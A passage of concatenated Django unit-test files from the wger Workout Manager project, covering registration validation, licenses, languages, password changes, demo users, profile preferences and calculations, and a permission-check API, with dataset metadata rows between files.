from django.urls import reverse
# wger
from wger.core.forms import (
RegistrationForm,
RegistrationFormNoCaptcha,
)
from wger.core.tests.base_testcase import WgerTestCase
logger = logging.getLogger(__name__)
class RegistrationTestCase(WgerTestCase):
"""
Tests registering a new user
"""
def test_registration_captcha(self):
"""
Tests that the correct form is used depending on global
configuration settings
"""
with self.settings(
WGER_SETTINGS={
'USE_RECAPTCHA': True,
'ALLOW_REGISTRATION': True,
'ALLOW_GUEST_USERS': True,
'TWITTER': False,
'MASTODON': False,
'MIN_ACCOUNT_AGE_TO_TRUST': 21,
}
):
response = self.client.get(reverse('core:user:registration'))
self.assertIsInstance(response.context['form'], RegistrationForm)
with self.settings(
WGER_SETTINGS={
'USE_RECAPTCHA': False,
'ALLOW_REGISTRATION': True,
'ALLOW_GUEST_USERS': True,
'TWITTER': False,
'MASTODON': False,
'MIN_ACCOUNT_AGE_TO_TRUST': 21,
}
):
response = self.client.get(reverse('core:user:registration'))
self.assertIsInstance(response.context['form'], RegistrationFormNoCaptcha)
def test_register(self):
# Fetch the registration page
response = self.client.get(reverse('core:user:registration'))
self.assertEqual(response.status_code, 200)
# Fill in the registration form
registration_data = {
'username': 'myusername',
'password1': 'quai8fai7Zae',
'password2': 'quai8fai7Zae',
'email': 'not an email',
'g-recaptcha-response': 'PASSED',
}
count_before = User.objects.count()
# Wrong email
response = self.client.post(reverse('core:user:registration'), registration_data)
self.assertFalse(response.context['form'].is_valid())
self.user_logout()
# Correct email
registration_data['email'] = 'my.email@example.com'
response = self.client.post(reverse('core:user:registration'), registration_data)
count_after = User.objects.count()
self.assertEqual(response.status_code, 302)
self.assertEqual(count_before + 1, count_after)
self.user_logout()
# Username already exists
response = self.client.post(reverse('core:user:registration'), registration_data)
count_after = User.objects.count()
self.assertFalse(response.context['form'].is_valid())
self.assertEqual(response.status_code, 200)
self.assertEqual(count_before + 1, count_after)
# Email already exists
registration_data['username'] = 'my.other.username'
response = self.client.post(reverse('core:user:registration'), registration_data)
count_after = User.objects.count()
self.assertFalse(response.context['form'].is_valid())
self.assertEqual(response.status_code, 200)
self.assertEqual(count_before + 1, count_after)
# Password too short
registration_data['password1'] = 'abc123'
response = self.client.post(reverse('core:user:registration'), registration_data)
self.assertFalse(response.context['form'].is_valid())
self.user_logout()
# Password is "password" (commonly used)
registration_data['password1'] = 'password'
response = self.client.post(reverse('core:user:registration'), registration_data)
self.assertFalse(response.context['form'].is_valid())
self.user_logout()
# Password is entirely numeric
registration_data['password1'] = '123456789'
response = self.client.post(reverse('core:user:registration'), registration_data)
self.assertFalse(response.context['form'].is_valid())
self.user_logout()
# Passwords don't match
registration_data['password2'] = 'quai8fai7Zaeq'
response = self.client.post(reverse('core:user:registration'), registration_data)
self.assertFalse(response.context['form'].is_valid())
self.user_logout()
# First password is missing
registration_data['password1'] = ''
response = self.client.post(reverse('core:user:registration'), registration_data)
self.assertFalse(response.context['form'].is_valid())
self.user_logout()
# Second password is missing
registration_data['password2'] = ''
response = self.client.post(reverse('core:user:registration'), registration_data)
self.assertFalse(response.context['form'].is_valid())
self.user_logout()
# Username is too long
long_user = (
'my_username_is_'
'wayyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy'
'_toooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo'
'_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooong'
)
registration_data['username'] = long_user
response = self.client.post(reverse('core:user:registration'), registration_data)
self.assertFalse(response.context['form'].is_valid())
self.user_logout()
# Username contains invalid symbol
registration_data['username'] = 'username!'
response = self.client.post(reverse('core:user:registration'), registration_data)
self.assertFalse(response.context['form'].is_valid())
self.user_logout()
# Username is missing
registration_data['username'] = ''
response = self.client.post(reverse('core:user:registration'), registration_data)
self.assertFalse(response.context['form'].is_valid())
self.user_logout()
def test_registration_deactivated(self):
"""
Test that with deactivated registration no users can register
"""
with self.settings(
WGER_SETTINGS={
'USE_RECAPTCHA': False,
'ALLOW_GUEST_USERS': True,
'ALLOW_REGISTRATION': False,
'MIN_ACCOUNT_AGE_TO_TRUST': 21,
}
):
# Fetch the registration page
response = self.client.get(reverse('core:user:registration'))
self.assertEqual(response.status_code, 302)
# Fill in the registration form
registration_data = {
'username': 'myusername',
'password1': 'Xee4fuev1ohj',
'password2': 'Xee4fuev1ohj',
'email': 'my.email@example.com',
'g-recaptcha-response': 'PASSED',
}
count_before = User.objects.count()
response = self.client.post(reverse('core:user:registration'), registration_data)
count_after = User.objects.count()
self.assertEqual(response.status_code, 302)
self.assertEqual(count_before, count_after)
| 7,850 | Python | .py | 174 | 35.586207 | 93 | 0.641606 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,805 | test_license.py | wger-project_wger/wger/core/tests/test_license.py | # This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with Workout Manager. If not, see <http://www.gnu.org/licenses/>.
# wger
from wger.core.models import License
from wger.core.tests import api_base_test
from wger.core.tests.base_testcase import (
WgerAccessTestCase,
WgerAddTestCase,
WgerDeleteTestCase,
WgerEditTestCase,
WgerTestCase,
)
class LicenseRepresentationTestCase(WgerTestCase):
"""
Test the representation of a model
"""
def test_representation(self):
"""
Test that the representation of an object is correct
"""
self.assertEqual(
f'{License.objects.get(pk=1)}',
'A cool and free license - Germany (ACAFL - DE)',
)
class LicenseOverviewTest(WgerAccessTestCase):
"""
Tests the licese overview page
"""
url = 'core:license:list'
class AddLicenseTestCase(WgerAddTestCase):
"""
Tests adding a new license
"""
object_class = License
url = 'core:license:add'
data = {'full_name': 'Something here', 'short_name': 'SH'}
class DeleteLicenseTestCase(WgerDeleteTestCase):
"""
Tests deleting a license
"""
object_class = License
url = 'core:license:delete'
pk = 1
class EditLicenseTestCase(WgerEditTestCase):
"""
Tests editing a license
"""
object_class = License
url = 'core:license:edit'
pk = 1
data = {'full_name': 'Something here 1.1', 'short_name': 'SH 1.1'}
class LicenseApiTestCase(api_base_test.ApiBaseResourceTestCase):
"""
Tests the license resource
"""
pk = 1
resource = License
private_resource = False
| 2,246 | Python | .py | 70 | 27.728571 | 78 | 0.707 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,806 | test_change_password.py | wger-project_wger/wger/core/tests/test_change_password.py | # This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# Standard Library
import logging
# Django
from django.contrib.auth.models import User
from django.urls import reverse
# wger
from wger.core.tests.base_testcase import WgerTestCase
logger = logging.getLogger(__name__)
class ChangePasswordTestCase(WgerTestCase):
"""
Tests changing the password of a registered user
"""
def change_password(self, fail=True):
# Fetch the change passwort page
response = self.client.get(reverse('core:user:change-password'))
if fail:
self.assertEqual(response.status_code, 302)
else:
self.assertEqual(response.status_code, 200)
# Fill in the change password form
form_data = {
'old_password': 'testtest',
'new_password1': 'shuZoh2oGu7i',
'new_password2': 'shuZoh2oGu7i',
}
response = self.client.post(reverse('core:user:change-password'), form_data)
self.assertEqual(response.status_code, 302)
# Check the new password was accepted
user = User.objects.get(username='test')
if fail:
self.assertTrue(user.check_password('testtest'))
else:
self.assertTrue(user.check_password('shuZoh2oGu7i'))
def test_change_password_anonymous(self):
"""
Test changing a password as an anonymous user
"""
self.change_password()
def test_copy_workout_logged_in(self, fail=True):
"""
Test changing a password as a logged in user
"""
self.user_login('test')
self.change_password(fail=False)
| 2,238 | Python | .py | 57 | 33 | 84 | 0.690993 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,807 | test_language.py | wger-project_wger/wger/core/tests/test_language.py | # -*- coding: utf-8 -*-
# This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with Workout Manager. If not, see <http://www.gnu.org/licenses/>.
# Django
from django.urls import reverse_lazy
# wger
from wger.core.models import Language
from wger.core.tests import api_base_test
from wger.core.tests.base_testcase import (
WgerAccessTestCase,
WgerAddTestCase,
WgerDeleteTestCase,
WgerEditTestCase,
WgerTestCase,
)
class LanguageRepresentationTestCase(WgerTestCase):
"""
Test the representation of a model
"""
def test_representation(self):
"""
Test that the representation of an object is correct
"""
self.assertEqual(f'{Language.objects.get(pk=1)}', 'Deutsch (de)')
class LanguageOverviewTest(WgerAccessTestCase):
"""
Tests accessing the system's languages
"""
url = 'core:language:overview'
anonymous_fail = True
class LanguageDetailViewTest(WgerAccessTestCase):
"""
Tests accessing a detail view of a language
"""
url = reverse_lazy('core:language:view', kwargs={'pk': 1})
anonymous_fail = True
class CreateLanguageTestCase(WgerAddTestCase):
"""
Tests adding a new language
"""
object_class = Language
url = 'core:language:add'
data = {'short_name': 'dk', 'full_name': 'Dansk', 'full_name_en': 'Danish'}
class EditLanguageTestCase(WgerEditTestCase):
"""
Tests adding a new language
"""
object_class = Language
url = 'core:language:edit'
pk = 1
data = {'short_name': 'dk', 'full_name': 'Dansk', 'full_name_en': 'Danish'}
class DeleteLanguageTestCase(WgerDeleteTestCase):
"""
Tests adding a new language
"""
object_class = Language
url = 'core:language:delete'
pk = 1
class LanguageApiTestCase(api_base_test.ApiBaseResourceTestCase):
"""
Tests the language overview resource
"""
pk = 1
resource = Language
private_resource = False
overview_cached = True
| 2,583 | Python | .py | 78 | 29.089744 | 79 | 0.716243 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,808 | test_robots_txt.py | wger-project_wger/wger/core/tests/test_robots_txt.py | # This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# Django
from django.urls import reverse
# wger
from wger.core.models import Language
from wger.core.tests.base_testcase import WgerTestCase
class RobotsTxtTestCase(WgerTestCase):
"""
Tests the generated robots.txt
"""
def test_robots(self):
response = self.client.get(reverse('robots'))
for lang in Language.objects.all():
self.assertTrue(f'wger.de/{lang.short_name}/sitemap.xml' in str(response.content))
| 1,095 | Python | .py | 26 | 39.230769 | 94 | 0.765977 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,809 | test_generator.py | wger-project_wger/wger/core/tests/test_generator.py | # This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# Django
from django.contrib.auth.models import User
from django.core.management import call_command
# wger
from wger.core.tests.base_testcase import WgerTestCase
from wger.gym.models import Gym
class UserGeneratorTestCase(WgerTestCase):
def test_generator(self):
# Arrange
User.objects.all().delete()
# Act
call_command('dummy-generator-users', '--nr-entries', 10)
# Assert
self.assertEqual(User.objects.count(), 10)
| 1,115 | Python | .py | 27 | 38.148148 | 78 | 0.763401 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,810 | test_daysofweek.py | wger-project_wger/wger/core/tests/test_daysofweek.py | # This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with Workout Manager. If not, see <http://www.gnu.org/licenses/>.
# wger
from wger.core.models import DaysOfWeek
from wger.core.tests import api_base_test
from wger.core.tests.base_testcase import WgerTestCase
class DaysOfWeekRepresentationTestCase(WgerTestCase):
"""
Test the representation of a model
"""
def test_representation(self):
"""
Test that the representation of an object is correct
"""
self.assertEqual(f'{DaysOfWeek.objects.get(pk=1)}', 'Monday')
class DaysOfWeekApiTestCase(api_base_test.ApiBaseResourceTestCase):
"""
Tests the days of week resource
"""
pk = 1
resource = DaysOfWeek
private_resource = False
| 1,350 | Python | .py | 34 | 36.382353 | 78 | 0.754011 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,811 | test_temporary_users.py | wger-project_wger/wger/core/tests/test_temporary_users.py | # This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# Standard Library
import datetime
import random
# Django
from django.contrib.auth.models import User
from django.core.management import call_command
from django.http import HttpRequest
from django.urls import reverse
# wger
from wger.core.demo import (
create_demo_entries,
create_temporary_user,
)
from wger.core.tests.base_testcase import WgerTestCase
from wger.manager.models import (
Day,
Schedule,
ScheduleStep,
Workout,
WorkoutLog,
)
from wger.nutrition.models import (
Meal,
NutritionPlan,
)
from wger.weight.models import WeightEntry
class DemoUserTestCase(WgerTestCase):
"""
Tests the demo user
"""
@staticmethod
def count_temp_users():
"""
Counts the number of temporary users
"""
return User.objects.filter(userprofile__is_temporary=1).count()
def test_demo_data_no_guest_account(self):
"""
Tests that the helper function creates demo data (workout, etc.)
for the demo users
"""
with self.settings(
WGER_SETTINGS={
'USE_RECAPTCHA': True,
'ALLOW_REGISTRATION': True,
'ALLOW_GUEST_USERS': False,
'TWITTER': False,
'MASTODON': False,
'MIN_ACCOUNT_AGE_TO_TRUST': 21,
}
):
self.assertEqual(self.count_temp_users(), 1)
self.client.get(reverse('core:dashboard'))
self.assertEqual(self.count_temp_users(), 1)
self.client.get(reverse('core:user:demo-entries'))
self.assertEqual(self.count_temp_users(), 1)
def test_demo_data_guest_account(self):
"""
Tests that the helper function creates demo data (workout, etc.)
for the demo users
"""
self.client.get(reverse('core:dashboard'))
self.assertEqual(self.count_temp_users(), 2)
user = User.objects.get(pk=User.objects.latest('id').id)
self.assertEqual(user.userprofile.is_temporary, True)
self.assertEqual(Workout.objects.filter(user=user).count(), 0)
self.client.get(reverse('core:user:demo-entries'))
# Workout
self.assertEqual(Workout.objects.filter(user=user).count(), 4)
self.assertEqual(Day.objects.filter(training__user=user).count(), 2)
self.assertEqual(WorkoutLog.objects.filter(user=user).count(), 56)
# Schedule
self.assertEqual(Schedule.objects.filter(user=user).count(), 3)
self.assertEqual(ScheduleStep.objects.filter(schedule__user=user).count(), 6)
# Nutrition
self.assertEqual(NutritionPlan.objects.filter(user=user).count(), 1)
self.assertEqual(Meal.objects.filter(plan__user=user).count(), 3)
# Body weight
self.assertEqual(WeightEntry.objects.filter(user=user).count(), 19)
def test_demo_data_body_weight(self):
"""
Tests that the helper function that creates demo data filters out
existing dates for the weight entries
"""
self.client.get(reverse('core:dashboard'))
self.assertEqual(self.count_temp_users(), 2)
user = User.objects.get(pk=4)
temp = []
for i in range(1, 5):
creation_date = datetime.date.today() - datetime.timedelta(days=i)
entry = WeightEntry(
user=user,
weight=80 + 0.5 * i + random.randint(1, 3),
date=creation_date,
)
temp.append(entry)
WeightEntry.objects.bulk_create(temp)
create_demo_entries(user)
# Body weight
self.assertEqual(WeightEntry.objects.filter(user=user).count(), 19)
def test_demo_user(self):
"""
Tests that temporary users are automatically created when visiting
URLs that need a user present
"""
self.assertEqual(self.count_temp_users(), 1)
# These pages should not create a user
self.client.get(reverse('software:about-us'))
self.assertEqual(self.count_temp_users(), 1)
self.client.get(reverse('exercise:exercise:overview'))
self.assertEqual(self.count_temp_users(), 1)
self.client.get(reverse('nutrition:ingredient:list'))
self.assertEqual(self.count_temp_users(), 1)
self.user_logout()
self.client.get(reverse('manager:workout:overview'))
self.assertEqual(self.count_temp_users(), 1)
self.user_logout()
reverse('weight:overview')
self.assertEqual(self.count_temp_users(), 1)
self.user_logout()
self.client.get(reverse('nutrition:plan:overview'))
self.assertEqual(self.count_temp_users(), 1)
# This page will create one
self.client.get(reverse('core:dashboard'))
self.assertEqual(self.count_temp_users(), 2)
# The new user is automatically logged in, so no new user is created
# after the first visit
self.client.get(reverse('core:dashboard'))
self.assertEqual(self.count_temp_users(), 2)
def test_demo_user_notice(self):
"""
Tests that demo users see a notice on every page
"""
demo_notice_text = 'You are using a guest account'
self.user_login('demo')
self.assertContains(self.client.get(reverse('core:dashboard')), demo_notice_text)
self.assertContains(self.client.get(reverse('manager:workout:overview')), demo_notice_text)
self.assertContains(
self.client.get(reverse('exercise:exercise:overview')), demo_notice_text
)
self.assertContains(self.client.get(reverse('nutrition:plan:overview')), demo_notice_text)
self.assertContains(self.client.get(reverse('software:about-us')), demo_notice_text)
def test_command_delete_old_users(self):
"""
Tests that old demo users are deleted by the management command
"""
request = HttpRequest()
# Create some new demo users
for i in range(0, 15):
create_temporary_user(request)
User.objects.filter().update(date_joined='2013-01-01 00:00+01:00')
# These ones keep the date_joined field
create_temporary_user(request)
create_temporary_user(request)
# Check and delete
self.assertEqual(self.count_temp_users(), 18)
call_command('delete-temp-users')
self.assertEqual(self.count_temp_users(), 2)
| 7,079 | Python | .py | 171 | 33.409357 | 99 | 0.656536 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,812 | test_preferences.py | wger-project_wger/wger/core/tests/test_preferences.py | # This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# Standard Library
import datetime
import decimal
import logging
# Django
from django.contrib.auth.models import User
from django.urls import reverse
# wger
from wger.core.tests.base_testcase import WgerTestCase
from wger.utils.constants import TWOPLACES
from wger.weight.models import WeightEntry
logger = logging.getLogger(__name__)
class PreferencesTestCase(WgerTestCase):
"""
Tests the preferences page
"""
def test_preferences(self):
"""
Helper function to test the preferences page
"""
self.user_login('test')
response = self.client.get(reverse('core:user:preferences'))
profile = User.objects.get(username='test').userprofile
self.assertFalse(profile.show_comments)
self.assertEqual(response.status_code, 200)
self.assertTemplateUsed('preferences.html')
# Change some preferences
response = self.client.post(
reverse('core:user:preferences'),
{
'show_comments': True,
'show_english_ingredients': True,
'email': 'my-new-email@example.com',
'workout_reminder_active': True,
'workout_reminder': '30',
'workout_duration': 12,
'notification_language': 2,
'num_days_weight_reminder': 10,
'weight_unit': 'kg',
'birthdate': '02/25/1987',
},
)
self.assertEqual(response.status_code, 302)
response = self.client.get(reverse('core:user:preferences'))
profile = User.objects.get(username='test').userprofile
self.assertTrue(profile.show_english_ingredients)
self.assertTrue(profile.workout_reminder_active)
self.assertEqual(profile.workout_reminder, 30)
self.assertEqual(profile.workout_duration, 12)
self.assertEqual(User.objects.get(username='test').email, 'my-new-email@example.com')
# Change some preferences
response = self.client.post(
reverse('core:user:preferences'),
{
'show_comments': False,
'show_english_ingredients': True,
'email': '',
'workout_reminder_active': True,
'workout_reminder': 22,
'workout_duration': 10,
'notification_language': 2,
'num_days_weight_reminder': 10,
'weight_unit': 'lb',
'birthdate': '02/25/1987',
},
)
self.assertEqual(response.status_code, 302)
response = self.client.get(reverse('core:user:preferences'))
profile = response.context['user'].userprofile
self.assertFalse(profile.show_comments)
self.assertTrue(profile.show_english_ingredients)
self.assertEqual(response.context['user'].email, '')
def test_address(self):
"""
Test that the address property works correctly
"""
# Member2 has a contract
user = User.objects.get(username='member2')
self.assertEqual(
user.userprofile.address,
{
'phone': '01234-567890',
'zip_code': '00000',
'street': 'Gassenstr. 14',
'city': 'The City',
},
)
# Test has no contracts
user = User.objects.get(username='test')
self.assertEqual(
user.userprofile.address,
{
'phone': '',
'zip_code': '',
'street': '',
'city': '',
},
)
class UserBodyweightTestCase(WgerTestCase):
"""
Tests the body weight generation/update function
"""
def test_bodyweight_new(self):
"""
Tests that a new weight entry is created
"""
user = User.objects.get(pk=2)
count_before = WeightEntry.objects.filter(user=user).count()
entry = user.userprofile.user_bodyweight(80)
count_after = WeightEntry.objects.filter(user=user).count()
self.assertEqual(count_before, count_after - 1)
self.assertEqual(entry.date, datetime.date.today())
def test_bodyweight_new_2(self):
"""
Tests that a new weight entry is created
"""
user = User.objects.get(pk=2)
count_before = WeightEntry.objects.filter(user=user).count()
last_entry = WeightEntry.objects.filter(user=user).latest()
last_entry.date = datetime.date.today() - datetime.timedelta(weeks=1)
last_entry.save()
entry = user.userprofile.user_bodyweight(80)
count_after = WeightEntry.objects.filter(user=user).count()
self.assertEqual(count_before, count_after - 1)
self.assertEqual(entry.date, datetime.date.today())
def test_bodyweight_no_entries(self):
"""
Tests that a new weight entry is created if there are no weight entries
"""
user = User.objects.get(pk=2)
WeightEntry.objects.filter(user=user).delete()
count_before = WeightEntry.objects.filter(user=user).count()
entry = user.userprofile.user_bodyweight(80)
count_after = WeightEntry.objects.filter(user=user).count()
self.assertEqual(count_before, count_after - 1)
self.assertEqual(entry.date, datetime.date.today())
def test_bodyweight_edit(self):
"""
Tests that the last weight entry is edited
"""
user = User.objects.get(pk=2)
last_entry = WeightEntry.objects.filter(user=user).latest()
last_entry.date = datetime.date.today() - datetime.timedelta(days=3)
last_entry.save()
count_before = WeightEntry.objects.filter(user=user).count()
entry = user.userprofile.user_bodyweight(100)
count_after = WeightEntry.objects.filter(user=user).count()
self.assertEqual(count_before, count_after)
self.assertEqual(entry.pk, last_entry.pk)
self.assertEqual(entry.date, last_entry.date)
self.assertEqual(entry.weight, 100)
def test_bodyweight_edit_2(self):
"""
Tests that the last weight entry is edited
"""
user = User.objects.get(pk=2)
last_entry = WeightEntry.objects.filter(user=user).latest()
last_entry.date = datetime.date.today()
last_entry.save()
count_before = WeightEntry.objects.filter(user=user).count()
entry = user.userprofile.user_bodyweight(100)
count_after = WeightEntry.objects.filter(user=user).count()
self.assertEqual(count_before, count_after)
self.assertEqual(entry.pk, last_entry.pk)
self.assertEqual(entry.date, last_entry.date)
self.assertEqual(entry.weight, 100)
class PreferencesCalculationsTestCase(WgerTestCase):
"""
Tests the different calculation method in the user profile
"""
def test_last_weight_entry(self):
"""
Tests that the last weight entry is correctly returned
"""
self.user_login('test')
user = User.objects.get(pk=2)
entry = WeightEntry()
entry.date = datetime.datetime.today()
entry.user = user
entry.weight = 100
entry.save()
self.assertEqual(user.userprofile.weight, 100)
entry.weight = 150
entry.save()
self.assertEqual(user.userprofile.weight, 150)
def test_last_weight_entry_empty(self):
"""
Tests that the last weight entry is correctly returned if no matches
"""
self.user_login('test')
user = User.objects.get(pk=2)
WeightEntry.objects.filter(user=user).delete()
self.assertEqual(user.userprofile.weight, 0)
def test_bmi(self):
"""
Tests the BMI calculator
"""
self.user_login('test')
user = User.objects.get(pk=2)
bmi = user.userprofile.calculate_bmi()
self.assertEqual(
bmi,
user.userprofile.weight.quantize(TWOPLACES)
/ decimal.Decimal(1.80 * 1.80).quantize(TWOPLACES),
)
def test_basal_metabolic_rate(self):
"""
Tests the BMR calculator
"""
self.user_login('test')
# Male
user = User.objects.get(pk=2)
bmr = user.userprofile.calculate_basal_metabolic_rate()
self.assertEqual(bmr, 1860)
# Female
user.userprofile.gender = '2'
bmr = user.userprofile.calculate_basal_metabolic_rate()
self.assertEqual(bmr, 1694)
# Data missing
user.userprofile.age = None
bmr = user.userprofile.calculate_basal_metabolic_rate()
self.assertEqual(bmr, 0)
def test_calculate_activities(self):
"""
Tests the calories calculator for physical activities
"""
self.user_login('test')
user = User.objects.get(pk=2)
self.assertEqual(
user.userprofile.calculate_activities(), decimal.Decimal(1.57).quantize(TWOPLACES)
)
# Gender has no influence
user.userprofile.gender = '2'
self.assertEqual(
user.userprofile.calculate_activities(), decimal.Decimal(1.57).quantize(TWOPLACES)
)
# Change some of the parameters
user.userprofile.work_intensity = '3'
self.assertEqual(
user.userprofile.calculate_activities(), decimal.Decimal(1.80).quantize(TWOPLACES)
)
user.userprofile.work_intensity = '2'
user.userprofile.sport_intensity = '2'
self.assertEqual(
user.userprofile.calculate_activities(), decimal.Decimal(1.52).quantize(TWOPLACES)
)
# TODO: the user can't delete or create new profiles
# class UserProfileApiTestCase(api_base_test.ApiBaseResourceTestCase):
# """
# Tests the user preferences overview resource
# """
# pk = 2
# resource = UserProfile
# private_resource = True
# data = {'show_comments': False,
# 'show_english_ingredients': True,
# 'email': '',
# 'workout_reminder_active': True,
# 'workout_reminder': 22,
# 'workout_duration': 10,
# 'notification_language': 2}
| 10,889 | Python | .py | 274 | 31.025547 | 94 | 0.625083 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,813 | test_permission_api.py | wger-project_wger/wger/core/tests/test_permission_api.py | # This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with Workout Manager. If not, see <http://www.gnu.org/licenses/>.
# Third Party
from rest_framework import status
# wger
from wger.core.tests.api_base_test import ApiBaseTestCase
from wger.core.tests.base_testcase import BaseTestCase
class CheckPermissionApiTestCase(BaseTestCase, ApiBaseTestCase):
url = '/api/v2/check-permission/'
error_message = "Please pass a permission name in the 'permission' parameter"
def get_resource_name(self):
return 'check-permission'
def test_check_permission_anonymous_no_parameters(self):
"""
Test that logged-out users get a error message when they don't pass any parameter
"""
response = self.client.get(self.url)
self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)
self.assertEqual(response.data, self.error_message)
def test_check_permission_anonymous_with_parameter(self):
"""
Test that logged-out users always get False
"""
response = self.client.get(self.url + '?permission=exercises.change_muscle')
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.data['result'], False)
def test_check_no_parameter_logged_in(self):
"""
Test that authenticated users get an error when not passing a parameter
"""
self.authenticate('test')
response = self.client.get(self.url)
self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)
self.assertEqual(response.data, self.error_message)
def test_check_parameter_logged_in_no_permission(self):
"""
Test that the api correctly returns the user's permission
"""
self.authenticate('test')
response = self.client.get(self.url + '?permission=exercises.change_muscle')
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.data['result'], False)
def test_check_parameter_logged_in_wrong_permission(self):
"""
Test that the result if false if passing a non-existent permission
(this is the default behaviour of django)
"""
self.authenticate('test')
response = self.client.get(self.url + '?permission=foo.bar_baz')
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.data['result'], False)
def test_check_parameter_logged_in_admin(self):
"""
Test that the api correctly returns the user's permission
"""
self.authenticate('admin')
response = self.client.get(self.url + '?permission=exercises.change_muscle')
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.data['result'], True)
| 3,438 | Python | .py | 71 | 42.014085 | 89 | 0.709985 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,814 | test_repetition_unit.py | wger-project_wger/wger/core/tests/test_repetition_unit.py | # This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
